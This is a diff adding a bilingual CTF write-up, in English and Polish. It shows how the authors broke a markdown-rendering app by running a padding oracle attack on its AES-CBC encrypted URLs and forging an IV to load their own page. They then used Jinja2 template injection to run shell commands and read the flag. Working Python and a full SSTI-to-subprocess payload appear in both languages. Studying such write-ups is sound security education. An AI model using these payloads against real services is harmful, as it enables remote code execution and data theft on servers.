|
3 | 3 | ## ENG
|
4 | 4 | [PL](#pl-version)
|
5 | 5 |
|
| 6 | +In the task we get a link for a webpage where someone deployed an application for parsing markdown. |
| 7 | +There are a couple of example links. |
| 8 | +We notice that the URL is always the same, but the contains a long hex-string, which probably points to the actual page displayed. |
| 9 | +If we modify the hex-string the page crashes or gives us `incorrect url` message. |
| 10 | + |
| 11 | +This seems like a standard setup for padding oracle attack. |
| 12 | +We assume that the hex-string is actually AES CBC encrypted data. |
| 13 | +The first 16 bytes seems to indicate this even more because they are always `deadbeefcafedeadbeefcafe04030201` which seems like a nice IV. |
| 14 | + |
| 15 | +So we run our padding oracle attack. |
| 16 | +For more in depth description of the attack refer to our previous writeups on this. |
| 17 | +In short we exploit the fact that by manipulating value of previous ciphertext block we can influence the plaintext value or corresponding byte in the next block, directly from the CBC definition. |
| 18 | +And if we accidentally set the last byte to `\01` then the decryption will not fail, since this is a proper padding. |
| 19 | +We can then recover the real value of this last byte because we know that `ciphertext[k-1][n] xor decrypt(ciphertext[k][n])` is now `\01` and we know the value of `ciphertext[k-1][n]`. |
| 20 | +We can then proceed to setting last 2 bytes to `\02\02` and so on to recover everything. |
| 21 | + |
| 22 | +Using our code from crypto commons with: |
| 23 | + |
| 24 | +```python |
| 25 | +import requests |
| 26 | +from crypto_commons.symmetrical.symmetrical import oracle_padding_recovery |
| 27 | + |
| 28 | +data = 'deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65' |
| 29 | + |
| 30 | +print(oracle_padding_recovery(data, oracle)) |
| 31 | + |
| 32 | +# https://gitlab.com/gitlab-org/gitlab-ce/raw/master/README.md |
| 33 | +``` |
| 34 | + |
| 35 | +And we do the same for all the links. |
| 36 | +There is a problem there, because for some reason we can't recover the first block. |
| 37 | +The server was crashing when there was only one plaintext block. |
| 38 | +But this was not really an issue, since the links were quite obvious and we could just guess the missing bytes. |
| 39 | + |
| 40 | +The most interesting link was the one for their own example, which contained something like |
| 41 | + |
| 42 | +``` |
| 43 | +{{ config['page'] }} |
| 44 | +``` |
| 45 | + |
| 46 | +In the content, but when viewed with their Markdown parser it was presenting an actual link. |
| 47 | +This meant that we could evaluate templates if we can get a ciphertext for our own webpage. |
| 48 | + |
| 49 | +This was a bit of an issue, since standard approach would be to change the IV so that first block of the plaintext decrypts to `http://our.page\01` and sending just the IV and this one block. |
| 50 | + |
| 51 | +Just as a reminder, we can do this since decryption of 1st block for CBC is `IV xor decrypt(ciphertext[0])`, and since we know the IV and we know the value of `decrypt(ciphertext[0])` we can simply set selected IV byte to: |
| 52 | +`newIV[k] = IV[k] xor plaintext[k] xor expected_value` |
| 53 | + |
| 54 | +And the decryption will give us `expected_value` at `k-th` position. |
| 55 | + |
| 56 | +In our scenario this would not work, because the single block payloads were failing (maybe admins fixed this later?). |
| 57 | +Anyway, we figured that we can also instead set the first block to: `http://our.page?` and leave the other blocks, because now the rest of some other URL will be treated as GET parameters and the link will work fine. |
| 58 | + |
| 59 | +This way we got an example payload: |
| 60 | + |
| 61 | +```python |
| 62 | +data = 'deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02'.decode("hex") |
| 63 | +old_iv = list(data[:16]) |
| 64 | +target_payload = list(pad("https://p4.team?")) |
| 65 | +pt = "https://raw.githubusercontent.com/dlitz/pycrypto/master/README\02\02"[:16] |
| 66 | +new_iv = "".join([chr(ord(old_iv[i]) ^ ord(pt[i]) ^ ord(target_payload[i])) for i in range(16)]) |
| 67 | +payload = (new_iv + data[16:]).encode("hex") |
| 68 | +print(payload) |
| 69 | +``` |
| 70 | + |
| 71 | +And by passing this payload we can now load our markdown code on the server. |
| 72 | + |
| 73 | +Now we move to the template injection exploit. |
| 74 | +We use a classic approach to do `''.__class__.__mro__[1].__subclasses__()` to get list of all subclasses of `object` loaded in python. |
| 75 | +There was a small problem, because the `__something__` was actually interpreted as markdown and replaced by `<strong>something</strong>` so we had to put the payload in backticks to avoid this. |
| 76 | + |
| 77 | +Once we got a list of all classes we found the `catch_warnings` which we could exploit: |
| 78 | + |
| 79 | +``` |
| 80 | +{% set loadedClasses = ''.__class__.__mro__[1].__subclasses__() %} |
| 81 | +{% for loadedClass in loadedClasses %} |
| 82 | + {% if loadedClass.__name__ == 'catch_warnings' %} |
| 83 | + {% set builtinsReference = loadedClass()._module.__builtins__ %} |
| 84 | + {% set os = builtinsReference['__import__']('subprocess') %} |
| 85 | + {{ os.check_output('cat app/flag', shell=True) }} |
| 86 | + {% endif %} |
| 87 | +{% endfor %} |
| 88 | +``` |
| 89 | + |
| 90 | +and get the flag `NDH{edfba7f05f2d0a30f54b0820105cdab21f59b60a7d72f5c7b38c23db840d6cab}` |
| 91 | + |
6 | 92 | ## PL version
|
| 93 | + |
| 94 | +W zadaniu dostajemy link do strony gdzie ktoś udostępnił swoją aplikacje do parsowania markdown. |
| 95 | +Jest tam kilka przykładowych linków. |
| 96 | +Zauważamy, że URL jest zawsze taki sam, ale zawiera długi hex-string, który najpewniej opisuje własciwą stronę. |
| 97 | +Jeśli zmienimy ten hex-string to strona się wysypuje lub dostajemy `incorrect url`. |
| 98 | + |
| 99 | +To wygląda jak standardowy setup dla ataku padding oracle. |
| 100 | +Zakładamy tu, że hex-string to w rzeczywistości szyfrogram AES CBC. |
| 101 | +Pierwsze 16 bajtów mocno to sugeruje bo to zawsze `deadbeefcafedeadbeefcafe04030201` co wygląda na jakieś IV. |
| 102 | + |
| 103 | +Uruchamiamy więc nasz padding oracle. |
| 104 | +Dla bardziej szczegółowego opisu tego ataku odsyłamy do naszych poprzednich writeupów na ten temat. |
| 105 | +W skrócie wykorzystujemy tu fakt, że manipulując wartością poprzedniego bloku szyfrogramu możemy wpłynąć na deszyfrowanie odpowiedniego bajtu następnego bloku, bezpośrednio z definicji CBC. |
| 106 | +Jeśli przypadkowo zmienimy ostatni bajt na `\01` to deszyfrowanie nie zgłosi błędu, bo padding będzie poprawny. |
| 107 | +Możemy wtedy odkryć prawdziwą wartość tego ostatniego bajtu, bo wiemy, że `ciphertext[k-1][n] xor decrypt(ciphertext[k][n])` wynosi teraz `\01` a znamy wartość `ciphertext[k-1][n]`. |
| 108 | +Następnie możemy powtórzyć to samo, ale tym razem ustawiając dwa ostatnie bloki na `\02\02` itd aż odzyskamy całą odszyfrowaną wiadomość. |
| 109 | + |
| 110 | +Z użyciem naszego kodu z crypto commons: |
| 111 | + |
| 112 | +```python |
| 113 | +import requests |
| 114 | +from crypto_commons.symmetrical.symmetrical import oracle_padding_recovery |
| 115 | + |
| 116 | +data = 'deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65' |
| 117 | + |
| 118 | +print(oracle_padding_recovery(data, oracle)) |
| 119 | + |
| 120 | +# https://gitlab.com/gitlab-org/gitlab-ce/raw/master/README.md |
| 121 | +``` |
| 122 | + |
| 123 | +I postępujemy tak samo dla wszystkich linków. |
| 124 | +Jest tam pewien problem, ponieważ nie możemy odzyskać 1 bloku. |
| 125 | +Serwer wysypuje się jeśli jest tylko 1 blok szyfrogramu. |
| 126 | +To na szczęście nie stanowiło wielkiego problemu, bo linki były dość oczywiste i mogliśmy zgadnąć brakujace bajty. |
| 127 | + |
| 128 | +Najbardziej interesujący był link do przykładu od autorów zadania, który zawierał coś w stylu: |
| 129 | + |
| 130 | +``` |
| 131 | +{{ config['page'] }} |
| 132 | +``` |
| 133 | + |
| 134 | +W treści, podczas gdy na stronie po sparsowaniu Markdown widniał faktyczny link. |
| 135 | +To oznacza że można ewaluować szablony, jeśli tylko możemy przekazać tam własną stronę. |
| 136 | + |
| 137 | +To stanowiło jednak początkowo problem, bo standardowe podejście to ustawić IV tak, zeby pierwszy blok odszyfrowanego tekstu deszyfrował się do `http://our.page\01` i wysłanie tylko nowego IV i tego jednego bloku. |
| 138 | + |
| 139 | +Dla przypomnienia, możemy tak zrobić, bo deszyfrowanie 1 bloku to `IV xor decrypt(ciphertext[0])` a skoro znamy IV i wiemy jaka jest wartość `decrypt(ciphertext[0])` to możemy ustawić wybrany bajt IV do: |
| 140 | +`newIV[k] = IV[k] xor plaintext[k] xor expected_value` |
| 141 | + |
| 142 | +A deszyfrowanie da nam `expected_value` na `k-tej` pozycji. |
| 143 | + |
| 144 | +W naszym przypadku to nie mogło zadziałać, bo jeden blok szyfrogramu powodował błąd serwera (admini to później poprawili?). |
| 145 | +Tak czy siak, wymyśliliśmy jak ten problem obejść, przez ustawienie pierwszego bloku na `http://our.page?` i pozostawienie pozostałych bloków, ponieważ teraz ten pozostały fragment starego URLa będzie potraktowany jako parametry GET a nasz link zadziała poprawnie. |
| 146 | + |
| 147 | +W ten sposób dostajemy szyfrogram: |
| 148 | + |
| 149 | +```python |
| 150 | +data = 'deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02'.decode("hex") |
| 151 | +old_iv = list(data[:16]) |
| 152 | +target_payload = list(pad("https://p4.team?")) |
| 153 | +pt = "https://raw.githubusercontent.com/dlitz/pycrypto/master/README\02\02"[:16] |
| 154 | +new_iv = "".join([chr(ord(old_iv[i]) ^ ord(pt[i]) ^ ord(target_payload[i])) for i in range(16)]) |
| 155 | +payload = (new_iv + data[16:]).encode("hex") |
| 156 | +print(payload) |
| 157 | +``` |
| 158 | + |
| 159 | +I przekazując do go strony możemy teraz ewaluować nasz własny kod mardown na serwerze. |
| 160 | + |
| 161 | +Teraz przechodzimy do template injection. |
| 162 | +Stosujemy tu dość standardowy zabieg `''.__class__.__mro__[1].__subclasses__()` aby pobrać listę podklas `object` załadowanych w pythonie. |
| 163 | + |
| 164 | +Tutaj mieliśmy przez chwilę problem bo `__cośtam__` było procesowane przez markdown i zamieniane na `<strong>cośtam</strong>` więc musieliśmy kod objąć w backticki. |
| 165 | + |
| 166 | +Mając listę klas znaleźliśmy `catch_warnings` które można było wykorzystać: |
| 167 | + |
| 168 | +``` |
| 169 | +{% set loadedClasses = ''.__class__.__mro__[1].__subclasses__() %} |
| 170 | +{% for loadedClass in loadedClasses %} |
| 171 | + {% if loadedClass.__name__ == 'catch_warnings' %} |
| 172 | + {% set builtinsReference = loadedClass()._module.__builtins__ %} |
| 173 | + {% set os = builtinsReference['__import__']('subprocess') %} |
| 174 | + {{ os.check_output('cat app/flag', shell=True) }} |
| 175 | + {% endif %} |
| 176 | +{% endfor %} |
| 177 | +``` |
| 178 | + |
| 179 | +aby dostać flagę: `NDH{edfba7f05f2d0a30f54b0820105cdab21f59b60a7d72f5c7b38c23db840d6cab}` |
0 commit comments